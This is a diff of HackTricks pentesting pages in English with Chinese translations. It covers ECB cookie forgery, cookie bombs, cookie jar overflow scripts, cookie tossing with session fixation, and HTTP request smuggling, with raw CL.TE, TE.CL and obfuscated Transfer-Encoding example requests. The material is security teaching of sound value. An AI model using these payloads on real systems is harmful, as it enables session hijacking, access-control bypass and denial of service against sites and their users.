Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
创建一个名为 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 的用户,并检查 cookie 中是否有任何模式(由于 ECB 使用相同的密钥加密每个块,如果用户名被加密,则相同的加密字节可能会出现)。
There should be a pattern (with the size of a used block). So, knowing how are a bunch of "a" encrypted you can create a username: "a"\*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".
应该有一个模式(与使用的块的大小相同)。因此,知道一堆 "a" 是如何加密的,您可以创建一个用户名:"a"\*(块的大小)+"admin"。然后,您可以从 cookie 中删除一个块的 "a" 的加密模式。您将拥有用户名 "admin" 的 cookie。
## References
## 参考
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,9 @@
{{#include ../../banners/hacktricks-training.md}}
**`Cookie bomb`** involves **adding a significant number of large cookies to a domain and its subdomains targeting a user**. This action results in the victim **sending oversized HTTP requests** to the server, which are subsequently **rejected by the server**. The consequence of this is the induction of a Denial of Service (DoS) specifically targeted at a user within that domain and its subdomains.
**`Cookie bomb`** 涉及 **向一个域及其子域添加大量大型 cookies目标是用户**。此操作导致受害者 **向服务器发送超大 HTTP 请求**,这些请求随后被 **服务器拒绝**。其结果是在该域及其子域内针对用户引发拒绝服务 (DoS)。
A nice **example** can be seen in this write-up: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
一个很好的 **例子** 可以在这篇文章中看到: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
And for more information, you can check this presentation: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
有关更多信息,您可以查看此演示文稿: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,25 +1,22 @@
{{#include ../../banners/hacktricks-training.md}}
The browsers have a **limit on the number of cookies** that they can store for a page. Then, if for some reason you need to **make a cookie disappear**, you can **overflow the cookie jar** as the oldest ones will be deleted before:
浏览器对每个页面可以存储的**cookie数量有限制**。因此,如果出于某种原因你需要**让一个cookie消失**,你可以**溢出cookie罐**因为最旧的cookie会被删除。
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`
document.cookie = `cookie${i}=${i}; Secure`
}
// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
}
```
Notice, that third party cookies pointing to a different domain won't be overwritten.
注意,指向不同域的第三方 cookies 不会被覆盖。
> [!CAUTION]
> This attack can also be used to **overwrite HttpOnly cookies as you can delete it and then reset it with the value you want**.
> 此攻击也可以用来**覆盖 HttpOnly cookies因为您可以删除它然后用您想要的值重置它**。
>
> Check this in [**this post with a lab**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
> 在[**这篇带实验室的文章**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)中检查此内容。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,62 +2,62 @@
{{#include ../../banners/hacktricks-training.md}}
### Description
### 描述
If an attacker can **control a subdomain or the domain of a company or finds an XSS in a subdomain** he will be able to perform this attack.
如果攻击者能够**控制一个子域或公司的域名或者在子域中发现XSS**,他将能够执行此攻击。
As it was indicated in the Cookies Hacking section, when a **cookie is set to a domain (specifying it) it will be used in the domain and subdomains.**
正如在Cookies Hacking部分所指出的当**cookie被设置到一个域指定它它将在该域及其子域中使用。**
> [!CAUTION]
> Therefore, **an attacker is going to be able to set to the domain and subdomains a specific cookie doing something like** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
> 因此,**攻击者将能够设置一个特定的cookie到域和子域执行类似于** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
This can be dangerous as the attacker may be able to:
这可能是危险的,因为攻击者可能能够:
- **Fixate the cookie of the victim to the attacker's account** so if the user doesn't notice, **he will perform the actions in the attacker's account** and the attacker may obtain some interesting information (check the history of the searches of the user in the platform, the victim may set his credit card in the account...)
- If the **cookie doesn't change after login**, the attacker may just **fixate a cookie (session-fixation)**, wait until the victim logs in and then **use that cookie to log in as the victim**.
- Sometimes, even if the session cookies changes, the attacker use the previous one and he will receive the new one also.
- If the **cookie is setting some initial value** (like in flask where the **cookie** may **set** the **CSRF token** of the session and this value will be maintained after the victim logs in), the **attacker may set this known value and then abuse it** (in that scenario, the attacker may then make the user perform a CSRF request as he knows the CSRF token).
- Just like setting the value, the attacker could also get an unauthenticated cookie generated by the server, get the CSRF token from it and use it.
- **将受害者的cookie固定到攻击者的账户**,因此如果用户没有注意到,**他将在攻击者的账户中执行操作**,攻击者可能获得一些有趣的信息(查看用户在平台上的搜索历史,受害者可能在账户中设置他的信用卡...
- 如果**cookie在登录后没有改变**,攻击者可能只需**固定一个cookie会话固定**,等待受害者登录,然后**使用该cookie以受害者身份登录**。
- 有时即使会话cookie发生变化攻击者也会使用之前的cookie并且他也会收到新的cookie。
- 如果**cookie设置了一些初始值**例如在flask中**cookie**可能**设置**会话的**CSRF令牌**,并且该值将在受害者登录后保持),**攻击者可能设置这个已知值然后加以利用**在这种情况下攻击者可能会让用户执行CSRF请求因为他知道CSRF令牌
- 就像设置值一样攻击者也可以获取服务器生成的未认证cookie从中获取CSRF令牌并使用它。
### Cookie Order
### Cookie顺序
When a browser receives two cookies with the same name **partially affecting the same scope** (domain, subdomains and path), the **browser will send both values of the cookie** when both are valid for the request.
当浏览器接收到两个具有相同名称的cookie**部分影响相同范围**(域、子域和路径)时,**浏览器将在请求有效时发送这两个cookie的值**。
Depending on who has **the most specific path** or which one is the **oldest one**, the browser will **set the value of the cookie first** and then the value of the other one like in: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
根据谁具有**最具体的路径**或哪个是**最旧的**,浏览器将**首先设置cookie的值**,然后设置另一个的值,如:`Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
Most **websites will only use the first value**. Then, if an attacker wants to set a cookie it's better to set it before another one is set or set it with a more specific path.
大多数**网站只会使用第一个值**。因此如果攻击者想要设置一个cookie最好在另一个cookie被设置之前设置它或者设置一个更具体的路径。
> [!WARNING]
> Moreover, the capability to **set a cookie in a more specific path** is very interesting as you will be able to make the **victim work with his cookie except in the specific path where the malicious cookie set will be sent before**.
> 此外,**在更具体的路径中设置cookie的能力**非常有趣,因为您将能够让**受害者在其cookie中工作除了恶意cookie设置将被发送之前的特定路径**。
### Protection Bypass
### 保护绕过
Possible protection against this attack would be that the **web server won't accept requests with two cookies with the same name but two different values**.
对这种攻击的可能保护措施是**web服务器不接受具有相同名称但两个不同值的两个cookie的请求**。
To bypass the scenario where the attacker is setting a cookie after the victim was already given the cookie, the attacker could cause a **cookie overflow** and then, once the **legit cookie is deleted, set the malicious one**.
为了绕过攻击者在受害者已经获得cookie后设置cookie的场景攻击者可以造成**cookie溢出**,然后,一旦**合法cookie被删除设置恶意cookie**。
{{#ref}}
cookie-jar-overflow.md
{{#endref}}
Another useful **bypass** could be to **URL encode the name of the cookie** as some protections check for 2 cookies with the same name in a request and then the server will decode the names of the cookies.
另一个有用的**绕过**可能是**URL编码cookie的名称**因为一些保护措施检查请求中是否有两个具有相同名称的cookie然后服务器将解码cookie的名称。
### Cookie Bomb
### Cookie炸弹
A Cookie Tossing attack may also be used to perform a **Cookie Bomb** attack:
Cookie Tossing攻击也可以用于执行**Cookie炸弹**攻击:
{{#ref}}
cookie-bomb.md
{{#endref}}
### Defense**s**
### 防御
#### **Use the prefix `__Host` in the cookie name**
#### **在cookie名称中使用前缀`__Host`**
- If a cookie name has this prefix, it **will only be accepted** in a Set-Cookie directive if it is marked Secure, was sent from a secure origin, does not include a Domain attribute, and has the Path attribute set to /
- **This prevents subdomains from forcing a cookie to the apex domain since these cookies can be seen as "domain-locked"**
- 如果cookie名称具有此前缀**只有在标记为安全、从安全来源发送、不包括域属性并且路径属性设置为/**时,**它将被接受**在Set-Cookie指令中。
- **这防止子域强制cookie到顶级域因为这些cookie可以被视为“域锁定”**
### References
### 参考
- [**@blueminimal**](https://twitter.com/blueminimal)
- [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers)
@ -65,4 +65,3 @@ cookie-bomb.md
- [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,175 +4,174 @@
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**从黑客的角度审视您的网络应用、网络和云**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**发现并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面查找允许您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## What is
## 什么是
This vulnerability occurs when a **desyncronization** between **front-end proxies** and the **back-end** server allows an **attacker** to **send** an HTTP **request** that will be **interpreted** as a **single request** by the **front-end** proxies (load balance/reverse-proxy) and **as 2 request** by the **back-end** server.\
This allows a user to **modify the next request that arrives to the back-end server after his**.
当**前端代理**与**后端**服务器之间发生**不同步**时,允许**攻击者**发送一个HTTP **请求**,该请求将被**前端**代理(负载均衡/反向代理)解释为**单个请求**,而被**后端**服务器解释为**两个请求**。\
这使得用户能够**修改到达后端服务器的下一个请求**。
### Theory
### 理论
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
[**RFC 规范 (2161)**](https://tools.ietf.org/html/rfc2616)
> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
> 如果收到的消息同时包含 Transfer-Encoding 头字段和 Content-Length 头字段,则后者必须被忽略。
**Content-Length**
> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
> Content-Length 实体头指示发送给接收方的实体主体的大小(以字节为单位)。
**Transfer-Encoding: chunked**
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
> Chunked means that large data is sent in a series of chunks
> Transfer-Encoding 头指定用于安全传输有效负载主体的编码形式。\
> Chunked 意味着大数据以一系列块的形式发送。
### Reality
### 现实
The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ or the _**transfer-encoding**_ header and the **Back-end** server **process the other** one provoking a **desyncronization** between the 2 systems.\
This could be very critical as **an attacker will be able to send one request** to the reverse proxy that will be **interpreted** by the **back-end** server **as 2 different requests**. The **danger** of this technique resides in the fact the **back-end** server **will interpret** the **2nd request injected** as if it **came from the next client** and the **real request** of that client will be **part** of the **injected request**.
**前端**(负载均衡/反向代理)**处理** _**content-length**__**transfer-encoding**_ 头,而**后端**服务器**处理另一个**,导致两个系统之间发生**不同步**。\
这可能非常关键,因为**攻击者将能够向反向代理发送一个请求**,该请求将被**后端**服务器**解释为两个不同的请求**。这种技术的**危险**在于**后端**服务器**将解释**为**第二个注入请求**,就好像它**来自下一个客户端**,而该客户端的**真实请求**将是**注入请求**的一部分。
### Particularities
### 特点
Remember that in HTTP **a new line character is composed by 2 bytes:**
请记住在HTTP中**换行符由2个字节组成**
- **Content-Length**: This header uses a **decimal number** to indicate the **number** of **bytes** of the **body** of the request. The body is expected to end in the last character, **a new line is not needed in the end of the request**.
- **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number** of **bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0`
- **Connection**: Based on my experience it's recommended to use **`Connection: keep-alive`** on the first request of the request Smuggling.
- **Content-Length**:此头使用**十进制数字**指示请求**主体**的**字节数**。主体预计在最后一个字符结束,**请求末尾不需要换行符**。
- **Transfer-Encoding:** 此头在**主体**中使用**十六进制数字**指示**下一个块**的**字节数**。**块**必须以**换行符**结束,但此换行符**不计入**长度指示符。此传输方法必须以**大小为0的块后跟2个换行符**结束:`0`
- **Connection**:根据我的经验,建议在请求走私的第一个请求中使用**`Connection: keep-alive`**。
## Basic Examples
## 基本示例
> [!TIP]
> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
> 在尝试使用Burp Suite利用此漏洞时**禁用 `Update Content-Length``Normalize HTTP/1 line endings`**,因为某些工具滥用换行符、回车和格式错误的内容长度。
HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the `Content-Length` (CL) and `Transfer-Encoding` (TE) headers. These attacks can manifest in different forms, primarily as **CL.TE**, **TE.CL**, and **TE.TE**. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.
HTTP请求走私攻击是通过发送模棱两可的请求来构造的,这些请求利用了前端和后端服务器在解释`Content-Length`CL`Transfer-Encoding`TE头时的差异。这些攻击可以以不同形式表现主要为**CL.TE**、**TE.CL**和**TE.TE**。每种类型代表前端和后端服务器如何优先处理这些头的独特组合。漏洞源于服务器以不同方式处理相同请求,导致意外和潜在的恶意结果。
### Basic Examples of Vulnerability Types
### 漏洞类型的基本示例
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!NOTE]
> To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
> 在之前的表格中您应该添加TE.0技术类似于CL.0技术但使用Transfer Encoding。
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
#### CL.TE 漏洞前端使用Content-Length后端使用Transfer-Encoding
- **Front-End (CL):** Processes the request based on the `Content-Length` header.
- **Back-End (TE):** Processes the request based on the `Transfer-Encoding` header.
- **Attack Scenario:**
- **前端 (CL)**:根据`Content-Length`头处理请求。
- **后端 (TE)**:根据`Transfer-Encoding`头处理请求。
- **攻击场景:**
- The attacker sends a request where the `Content-Length` header's value does not match the actual content length.
- The front-end server forwards the entire request to the back-end, based on the `Content-Length` value.
- The back-end server processes the request as chunked due to the `Transfer-Encoding: chunked` header, interpreting the remaining data as a separate, subsequent request.
- **Example:**
- 攻击者发送一个请求,其中`Content-Length`头的值与实际内容长度不匹配。
- 前端服务器根据`Content-Length`值将整个请求转发给后端。
- 后端服务器由于`Transfer-Encoding: chunked`头将请求处理为分块,解释剩余数据为一个单独的后续请求。
- **示例:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
0
GET /404 HTTP/1.1
Foo: x
```
GET /404 HTTP/1.1
Foo: x
```
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
#### TE.CL 漏洞前端使用Transfer-Encoding后端使用Content-Length
- **Front-End (TE):** Processes the request based on the `Transfer-Encoding` header.
- **Back-End (CL):** Processes the request based on the `Content-Length` header.
- **Attack Scenario:**
- **前端 (TE)**:根据`Transfer-Encoding`头处理请求。
- **后端 (CL)**:根据`Content-Length`头处理请求。
- **攻击场景:**
- The attacker sends a chunked request where the chunk size (`7b`) and actual content length (`Content-Length: 4`) do not align.
- The front-end server, honoring `Transfer-Encoding`, forwards the entire request to the back-end.
- The back-end server, respecting `Content-Length`, processes only the initial part of the request (`7b` bytes), leaving the rest as part of an unintended subsequent request.
- **Example:**
- 攻击者发送一个分块请求,其中块大小(`7b`)和实际内容长度(`Content-Length: 4`)不一致。
- 前端服务器遵循`Transfer-Encoding`,将整个请求转发给后端。
- 后端服务器尊重`Content-Length`,仅处理请求的初始部分(`7b`字节),将其余部分留作意外的后续请求的一部分。
- **示例:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
x=
0
```
```
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
#### TE.TE 漏洞两者都使用Transfer-Encoding并进行模糊处理
- **Servers:** Both support `Transfer-Encoding`, but one can be tricked into ignoring it via obfuscation.
- **Attack Scenario:**
- **服务器**:两者都支持`Transfer-Encoding`,但可以通过模糊处理欺骗其中一个忽略它。
- **攻击场景:**
- The attacker sends a request with obfuscated `Transfer-Encoding` headers.
- Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.
- The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.
- **Example:**
- 攻击者发送一个带有模糊处理`Transfer-Encoding`头的请求。
- 根据哪个服务器前端或后端未能识别模糊处理可能会利用CL.TE或TE.CL漏洞。
- 请求中未处理的部分,作为其中一个服务器所见,成为后续请求的一部分,导致走私。
- **示例:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
```
Transfer-Encoding
: chunked
```
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
#### **CL.CL 场景前端和后端都使用Content-Length**
- Both servers process the request based solely on the `Content-Length` header.
- This scenario typically does not lead to smuggling, as there's alignment in how both servers interpret the request length.
- **Example:**
- 两个服务器仅根据`Content-Length`头处理请求。
- 此场景通常不会导致走私,因为两个服务器在解释请求长度时是一致的。
- **示例:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
```
Normal Request
```
#### **CL.0 Scenario**
#### **CL.0 场景**
- Refers to scenarios where the `Content-Length` header is present and has a value other than zero, indicating that the request body has content. The back-end ignores the `Content-Length` header (which is treated as 0), but the front-end parses it.
- It's crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
- **Example:**
- 指的是`Content-Length`头存在且值不为零,表明请求主体有内容。后端忽略`Content-Length`被视为0但前端解析它。
- 这在理解和构造走私攻击中至关重要,因为它影响服务器确定请求结束的方式。
- **示例:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
```
Non-Empty Body
```
#### TE.0 Scenario
- Like the previous one but using TE
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Example**:
#### TE.0 场景
- 类似于前一个场景但使用TE。
- 技术[在此报告](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **示例**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -190,115 +189,111 @@ x: X
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### 破坏网络服务器
#### Breaking the web server
该技术在可以**在读取初始HTTP数据时破坏网络服务器**但**不关闭连接**的场景中也很有用。这样HTTP请求的**主体**将被视为**下一个HTTP请求**。
This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**.
例如,如[**这篇文章**](https://mizu.re/post/twisty-python)中所解释的在Werkzeug中可以发送一些**Unicode**字符,这将使服务器**崩溃**。然而如果HTTP连接是使用**`Connection: keep-alive`**头创建的,请求的主体将不会被读取,连接仍将保持打开状态,因此请求的**主体**将被视为**下一个HTTP请求**。
For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request wont be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.
#### Forcing via hop-by-hop headers
Abusing hop-by-hop headers you could indicate the proxy to **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
#### 通过逐跳头强制
滥用逐跳头,您可以指示代理**删除Content-Length或Transfer-Encoding头以便可以滥用HTTP请求走私**。
```
Connection: Content-Length
```
For **more information about hop-by-hop headers** visit:
对于**有关逐跳头部的更多信息**,请访问:
{{#ref}}
../abusing-hop-by-hop-headers.md
{{#endref}}
## Finding HTTP Request Smuggling
## 查找 HTTP 请求走私
Identifying HTTP request smuggling vulnerabilities can often be achieved using timing techniques, which rely on observing how long it takes for the server to respond to manipulated requests. These techniques are particularly useful for detecting CL.TE and TE.CL vulnerabilities. Besides these methods, there are other strategies and tools that can be used to find such vulnerabilities:
识别 HTTP 请求走私漏洞通常可以通过时间技术实现,这依赖于观察服务器响应被操纵请求所需的时间。这些技术对于检测 CL.TE 和 TE.CL 漏洞特别有用。除了这些方法,还有其他策略和工具可以用来发现此类漏洞:
### Finding CL.TE Vulnerabilities Using Timing Techniques
### 使用时间技术查找 CL.TE 漏洞
- **Method:**
- **方法:**
- Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.
- **Example:**
- 发送一个请求,如果应用程序存在漏洞,将导致后端服务器等待额外数据。
- **示例:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
```
1
A
0
```
- **Observation:**
- The front-end server processes the request based on `Content-Length` and cuts off the message prematurely.
- The back-end server, expecting a chunked message, waits for the next chunk that never arrives, causing a delay.
- **观察:**
- 前端服务器根据 `Content-Length` 处理请求,并提前截断消息。
- 后端服务器期望接收分块消息,等待下一个从未到达的块,导致延迟。
- **Indicators:**
- Timeouts or long delays in response.
- Receiving a 400 Bad Request error from the back-end server, sometimes with detailed server information.
- **指标:**
- 响应超时或长时间延迟。
- 从后端服务器收到 400 Bad Request 错误,有时附带详细的服务器信息。
### Finding TE.CL Vulnerabilities Using Timing Techniques
### 使用时间技术查找 TE.CL 漏洞
- **Method:**
- **方法:**
- Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.
- **Example:**
- 发送一个请求,如果应用程序存在漏洞,将导致后端服务器等待额外数据。
- **示例:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
```
0
X
```
- **Observation:**
- The front-end server processes the request based on `Transfer-Encoding` and forwards the entire message.
- The back-end server, expecting a message based on `Content-Length`, waits for additional data that never arrives, causing a delay.
- **观察:**
- 前端服务器根据 `Transfer-Encoding` 处理请求并转发整个消息。
- 后端服务器期望根据 `Content-Length` 接收消息,等待从未到达的额外数据,导致延迟。
### Other Methods to Find Vulnerabilities
### 查找漏洞的其他方法
- **Differential Response Analysis:**
- Send slightly varied versions of a request and observe if the server responses differ in an unexpected way, indicating a parsing discrepancy.
- **Using Automated Tools:**
- Tools like Burp Suite's 'HTTP Request Smuggler' extension can automatically test for these vulnerabilities by sending various forms of ambiguous requests and analyzing the responses.
- **Content-Length Variance Tests:**
- Send requests with varying `Content-Length` values that are not aligned with the actual content length and observe how the server handles such mismatches.
- **Transfer-Encoding Variance Tests:**
- Send requests with obfuscated or malformed `Transfer-Encoding` headers and monitor how differently the front-end and back-end servers respond to such manipulations.
- **差异响应分析:**
- 发送略有不同版本的请求,观察服务器响应是否以意外方式不同,指示解析差异。
- **使用自动化工具:**
- 像 Burp Suite 的 'HTTP Request Smuggler' 扩展可以通过发送各种模糊请求并分析响应来自动测试这些漏洞。
- **Content-Length 变异测试:**
- 发送具有不同 `Content-Length` 值的请求,这些值与实际内容长度不一致,并观察服务器如何处理此类不匹配。
- **Transfer-Encoding 变异测试:**
- 发送具有模糊或格式错误的 `Transfer-Encoding` 头的请求,并监控前端和后端服务器对这种操控的不同响应。
### HTTP Request Smuggling Vulnerability Testing
### HTTP 请求走私漏洞测试
After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to `/` yield a 404 response. The `CL.TE` and `TE.CL` examples previously discussed in [Basic Examples](./#basic-examples) demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource.
在确认时间技术的有效性后,验证客户端请求是否可以被操纵至关重要。一个简单的方法是尝试毒化你的请求,例如,使对 `/` 的请求返回 404 响应。之前在 [基本示例](./#basic-examples) 中讨论的 `CL.TE``TE.CL` 示例演示了如何毒化客户端请求以引发 404 响应,尽管客户端旨在访问不同的资源。
**Key Considerations**
**关键考虑事项**
When testing for request smuggling vulnerabilities by interfering with other requests, bear in mind:
在通过干扰其他请求测试请求走私漏洞时,请记住:
- **Distinct Network Connections:** The "attack" and "normal" requests should be dispatched over separate network connections. Utilizing the same connection for both doesn't validate the vulnerability's presence.
- **Consistent URL and Parameters:** Aim to use identical URLs and parameter names for both requests. Modern applications often route requests to specific back-end servers based on URL and parameters. Matching these increases the likelihood that both requests are processed by the same server, a prerequisite for a successful attack.
- **Timing and Racing Conditions:** The "normal" request, meant to detect interference from the "attack" request, competes against other concurrent application requests. Therefore, send the "normal" request immediately following the "attack" request. Busy applications may necessitate multiple trials for conclusive vulnerability confirmation.
- **Load Balancing Challenges:** Front-end servers acting as load balancers may distribute requests across various back-end systems. If the "attack" and "normal" requests end up on different systems, the attack won't succeed. This load balancing aspect may require several attempts to confirm a vulnerability.
- **Unintended User Impact:** If your attack inadvertently impacts another user's request (not the "normal" request you sent for detection), this indicates your attack influenced another application user. Continuous testing could disrupt other users, mandating a cautious approach.
- **独立的网络连接:** “攻击”和“正常”请求应通过独立的网络连接发送。对两个请求使用相同的连接并不能验证漏洞的存在。
- **一致的 URL 和参数:** 力求对两个请求使用相同的 URL 和参数名称。现代应用程序通常根据 URL 和参数将请求路由到特定的后端服务器。匹配这些可以增加两个请求由同一服务器处理的可能性,这是成功攻击的前提。
- **时间和竞争条件:** “正常”请求旨在检测“攻击”请求的干扰,与其他并发应用请求竞争。因此,在“攻击”请求后立即发送“正常”请求。繁忙的应用程序可能需要多次尝试以确认漏洞。
- **负载均衡挑战:** 作为负载均衡器的前端服务器可能会将请求分配到不同的后端系统。如果“攻击”和“正常”请求最终落在不同的系统上,攻击将不会成功。这个负载均衡方面可能需要多次尝试以确认漏洞。
- **意外用户影响:** 如果你的攻击无意中影响了另一个用户的请求(不是你发送的“正常”请求),这表明你的攻击影响了另一个应用用户。持续测试可能会干扰其他用户,因此需要谨慎处理。
## Abusing HTTP Request Smuggling
## 滥用 HTTP 请求走私
### Circumventing Front-End Security via HTTP Request Smuggling
### 通过 HTTP 请求走私绕过前端安全
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
